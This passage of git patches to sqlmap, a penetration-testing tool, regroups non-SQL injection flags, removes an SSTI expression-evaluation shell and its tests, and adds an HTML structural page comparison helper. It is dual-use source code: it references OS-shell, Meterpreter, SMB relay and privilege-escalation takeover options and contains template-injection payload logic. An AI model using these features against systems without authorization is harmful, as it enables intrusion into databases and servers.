b/lib/core/settings.py index 092cf2fd052..e55e69f1227 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.197" +VERSION = "1.10.6.198" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 3a134484c78..086ffd903cf 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -133,7 +133,7 @@ def cmdLineParser(argv=None): help="Parse target(s) from Burp or WebScarab proxy log file") target.add_argument("-m", dest="bulkFile", - help="Scan multiple targets given in a textual file ") + help="Scan multiple targets given in a textual file") target.add_argument("-r", dest="requestFile", help="Load HTTP request from a file") @@ -335,7 +335,7 @@ def cmdLineParser(argv=None): help="Skip testing for given parameter(s)") injection.add_argument("--skip-static", dest="skipStatic", action="store_true", - help="Skip testing parameters that not appear to be dynamic") + help="Skip testing parameters that do not appear to be dynamic") injection.add_argument("--param-exclude", dest="paramExclude", help="Regexp to exclude parameters from testing (e.g. \"ses\")") @@ -442,21 +442,6 @@ def cmdLineParser(argv=None): techniques.add_argument("--second-req", dest="secondReq", help="Load second-order HTTP request from file") - techniques.add_argument("--graphql", dest="graphql", action="store_true", - help="Test for GraphQL injection") - - techniques.add_argument("--ldap", dest="ldap", action="store_true", - help="Test for LDAP injection") - - techniques.add_argument("--nosql", dest="nosql", action="store_true", - help="Test for NoSQL injection") - - techniques.add_argument("--xpath", dest="xpath", action="store_true", - help="Test for XPath injection") - - techniques.add_argument("--ssti", dest="ssti", action="store_true", - help="Test for server-side template injection") - # Fingerprint options fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint") @@ -515,7 +500,7 @@ def cmdLineParser(argv=None): help="Dump DBMS database table entries") enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", - help="Dump all DBMS databases tables entries") + help="Dump entries of all DBMS database tables") enumeration.add_argument("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") @@ -571,12 +556,6 @@ def cmdLineParser(argv=None): enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") - enumeration.add_argument("--ssti-query", dest="sstiQuery", - help="SSTI expression to evaluate in-band on the vulnerable parameter") - - enumeration.add_argument("--ssti-shell", dest="sstiShell", action="store_true", - help="Prompt for an interactive SSTI expression shell") - enumeration.add_argument("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") @@ -626,11 +605,10 @@ def cmdLineParser(argv=None): help="Prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", - help="One click prompt for an OOB shell, Meterpreter or VNC") + help="One-click prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-bof", dest="osBof", action="store_true", - help="Stored procedure buffer overflow " - "exploitation") + help="Stored procedure buffer overflow exploitation") takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") @@ -788,6 +766,24 @@ def cmdLineParser(argv=None): general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") + # Non-SQL injection options + nonsql = parser.add_argument_group("Non-SQL injection", "These options can be used to test for non-SQL injection types") + + nonsql.add_argument("--graphql", dest="graphql", action="store_true", + help="Test for GraphQL injection") + + nonsql.add_argument("--ldap", dest="ldap", action="store_true", + help="Test for LDAP injection") + + nonsql.add_argument("--nosql", dest="nosql", action="store_true", + help="Test for NoSQL injection") + + nonsql.add_argument("--xpath", dest="xpath", action="store_true", + help="Test for XPath injection") + + nonsql.add_argument("--ssti", dest="ssti", action="store_true", + help="Test for server-side template injection") + # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index bbbc6e90ccd..736a70b5166 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -59,12 +59,6 @@ def _arithmeticPayload(fmt, a, b): return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1) -def _expressionPayload(fmt, value): - # Same rationale as _arithmeticPayload(): literal %s substitution so '%'-delimited engines - # (notably ERB) can wrap expressions instead of crashing on fmt % value. - return fmt.replace("%s", value, 1) - - def _degroup(text): # Strip digit-group (thousands) separators so an arithmetic result still matches when the # engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678"). @@ -642,7 +636,7 @@ def sstiScan(): place, parameter, engine, evidence = slot from lib.core.common import readInput - wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell", "sstiQuery", "sstiShell")) + wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) # If the user did not ask for exploitation, confirm (benignly) whether OS command # execution is reachable and, if so, advise the relevant switches. @@ -651,20 +645,6 @@ def sstiScan(): "you are advised to try '--os-shell' (interactive) or " "'--os-cmd=' (single command)" % engine.name) - # --ssti-query: user-provided expression evaluated in-band - if conf.get("sstiQuery"): - _evalExpression(place, parameter, engine, conf.sstiQuery) - - # --ssti-shell: interactive expression evaluation loop (interactive even under --batch, - # like sqlmap's SQL --sql-shell/--os-shell, which read straight from the terminal) - if conf.get("sstiShell"): - logger.info("calling SSTI shell. Enter expressions (e.g. 7*7) or 'exit'/'quit' to leave") - while True: - expr = readInput("ssti-shell> ", checkBatch=False) - if not expr or expr.strip().lower() in ("exit", "quit"): - break - _evalExpression(place, parameter, engine, expr.strip()) - # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags) if conf.get("osCmd") or conf.get("osShell"): if not _canTakeover(engine, evidence): @@ -692,56 +672,6 @@ def _escapeSingleQuoted(value): return value.replace("\\", "\\\\").replace("'", "\\'") -def _evalExpression(place, parameter, engine, expr): - """Wrap expr in the engine's expression format, extract result between - random markers for deterministic output, fall back to baseline diff.""" - - if not engine.expressionFmt: - logger.error("expression evaluation not supported for engine '%s'" % engine.name) - return - - original = _originalValue(place, parameter) or "" - startMarker = randomStr(length=8, lowercase=True) - endMarker = randomStr(length=8, lowercase=True) - - # Three-part payload: marker, expression, marker -- each in its own template tag - # so the expression is evaluated independently of the markers - payload = original + _expressionPayload(engine.expressionFmt, "'%s'" % startMarker) - payload += " " + _expressionPayload(engine.expressionFmt, expr) - payload += " " + _expressionPayload(engine.expressionFmt, "'%s'" % endMarker) - page = _send(place, parameter, payload) - - if not page: - logger.warning("no response for SSTI expression '%s'" % expr) - return - - text = getUnicode(page) - result = None - - # Extract content between the random markers - if startMarker in text and endMarker in text: - start = text.index(startMarker) + len(startMarker) - end = text.index(endMarker, start) - result = text[start:end].strip() - - # Fallback: diff against baseline - if not result: - baseline = _send(place, parameter, original) - if baseline: - sm = difflib.SequenceMatcher(None, getUnicode(baseline), text) - parts = [] - for tag, i1, i2, j1, j2 in sm.get_opcodes(): - if tag in ("insert", "replace"): - parts.append(text[j1:j2]) - if parts: - result = "".join(parts).strip() - - if result: - conf.dumper.singleString("SSTI expression result: %s" % result) - else: - logger.warning("could not extract expression result from response") - - def _canTakeover(engine, evidence): """Require exact engine fingerprint (not a family guess) and confirmed proof before attempting OS command execution.""" diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 02ff44f35ab..96b714bc0cb 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -275,39 +275,6 @@ def mock(place, parameter, value): self.assertIn("Twig", engine.name) -class TestExpressionEvaluation(unittest.TestCase): - def setUp(self): - self.original_send = ssti._send - - def tearDown(self): - ssti._send = self.original_send - - def test_eval_uses_expressionFmt(self): - engine = ssti._ENGINE_TABLE[0] # Jinja2: expressionFmt = "{{ %s }}" - results = [] - - def mock(place, parameter, value): - results.append(value) - return "Hello __marker__ 49 __marker2__" - - ssti._send = mock - ssti._evalExpression("GET", "q", engine, "7*7") - # Payload must use expressionFmt, not raw delimiter concatenation - self.assertIn("{{ ", results[0]) - self.assertIn(" }}", results[0]) - - def test_eval_falls_back_when_no_expressionFmt(self): - engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] - self.assertEqual(engine.expressionFmt, "") - - def mock(place, parameter, value): - return "irrelevant" - - ssti._send = mock - # Should not raise; just logs error - ssti._evalExpression("GET", "q", engine, "7*7") - - class TestBooleanUniqueness(unittest.TestCase): def test_jinja2_boolean_unique_among_curlies(self): jinja2 = ssti._ENGINE_TABLE[0] From 74f90df8aefde11d82c573cba42fd033632aedcb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 23:09:06 +0200 Subject: [PATCH 5/5] Implementing extractStructuralTokens as a helper to detection engine --- data/txt/sha256sums.txt | 10 +++++----- lib/controller/checks.py | 22 +++++++++++++++++++- lib/core/common.py | 42 +++++++++++++++++++++++++++++++++++++++ lib/core/option.py | 1 + lib/core/settings.py | 9 ++++++++- lib/request/comparison.py | 10 ++++++++++ 6 files changed, 87 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2b0de81f478..c71f09fc94a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -9137a8f7368496c84b21944f6b94c28004d3a2a849ac9c8e0b20e294e4c4a93a lib/controller/checks.py +f4fb3839e5accd1b58b34226e4b26f5079d9696e24d335d37d870cd5e62d1e80 lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -122767794156afa41b19baa706ad4c124eef6eaf73ed8fd208d8f634e97e82eb lib/core/common.py +d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py a683d0ad9ba543587382c4903d28db610ae20394fcf9045a68b2ab54a39381ae lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -182,14 +182,14 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py -e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py +98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -098e5d86a0da05d4be5f5ed5371083954be2369abce57fda4bd906d12e1f8870 lib/core/settings.py +a2fb281b59c4526613f22fc0e994b68db91c1263db415aa86002ec4e20773639 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py +9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py 729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4589599de44..6a7043cc922 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -16,6 +16,7 @@ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import extractTextTagContent from lib.core.common import filterNone from lib.core.common import findDynamicContent @@ -1390,7 +1391,26 @@ def checkStability(): raise SqlmapNoneDataException(errMsg) else: - checkDynamicContent(firstPage, secondPage) + # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check + # whether the page is structurally stable (identical tag/class/id skeleton across the two + # requests) despite differing text. If so, base the comparison on that value-free structure + # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is + # the HTML counterpart of the structure-aware JSON comparison + if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage): + kb.pageStructurallyStable = True + + if kb.nullConnection: + debugMsg = "turning off NULL connection " + debugMsg += "support because of structural page comparison" + logger.debug(debugMsg) + + kb.nullConnection = None + + infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " + infoMsg += "will base the page comparison on the page structure" + logger.info(infoMsg) + else: + checkDynamicContent(firstPage, secondPage) return kb.pageStable diff --git a/lib/core/common.py b/lib/core/common.py index a8eca14ad4d..937064d7054 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -176,6 +176,9 @@ from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import STDIN_PIPE_DASH +from lib.core.settings import STRUCTURAL_CLASS_REGEX +from lib.core.settings import STRUCTURAL_ID_REGEX +from lib.core.settings import STRUCTURAL_TAG_REGEX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TIME_STDEV_COEFF @@ -3227,6 +3230,45 @@ def extractTextTagContent(page): return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) +def extractStructuralTokens(page): + """ + Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a + (HTML) page, discarding all textual content. Used for structure-aware page comparison when the + page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so + that dynamic text does not perturb the comparison while a structural change (e.g. a results + table appearing or disappearing) still does. HTML counterpart of jsonMinimize() + + >>> sorted(extractStructuralTokens(u'
x
')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span'] + True + >>> extractStructuralTokens(u'
1
') == set([u'tag:table', u'tag:tr', u'tag:td']) + True + >>> extractStructuralTokens(u'') == set() + True + """ + + page = page or "" + + if REFLECTED_VALUE_MARKER in page: + page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page) + + page = re.sub(r"(?si)||", " ", page) + + retVal = set() + + for match in re.finditer(STRUCTURAL_TAG_REGEX, page): + tag = match.group(1).lower() + attrs = match.group(2) or "" + retVal.add("tag:%s" % tag) + for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs): + for value in (_.group(1) or _.group(2) or _.group(3) or "").split(): + retVal.add("cls:%s.%s" % (tag, value)) + for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs): + value = (_.group(1) or _.group(2) or _.group(3) or "").strip() + if value: + retVal.add("id:%s#%s" % (tag, value)) + + return retVal + def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value diff --git a/lib/core/option.py b/lib/core/option.py index 332053b1348..f7d26907483 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2210,6 +2210,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None + kb.pageStructurallyStable = None kb.partRun = None kb.permissionFlag = False kb.place = None diff --git a/lib/core/settings.py b/lib/core/settings.py index e55e69f1227..43667bf80ef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.198" +VERSION = "1.10.6.199" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -180,6 +180,13 @@ # Regular expression used for extracting content from "textual" tags TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" +# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag +# names and class/id attribute hooks), for structure-aware comparison of pages whose textual +# content is dynamic but whose layout is stable +STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>" +STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" +STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 1206e6814de..e3278297395 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -10,6 +10,7 @@ import re from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import getFilteredPageContent from lib.core.common import jsonMinimize from lib.core.common import listToStrValue @@ -177,6 +178,15 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seq1 = jsonMinimize(kb.pageTemplate) seq2 = jsonMinimize(rawPage) + # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page: + # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio + # while a structural change (e.g. a results table appearing/disappearing) still does + if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection): + _ = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) + if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text + seq1 = _ + seq2 = "\n".join(sorted(extractStructuralTokens(rawPage))) + if seq1 is None or seq2 is None: if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)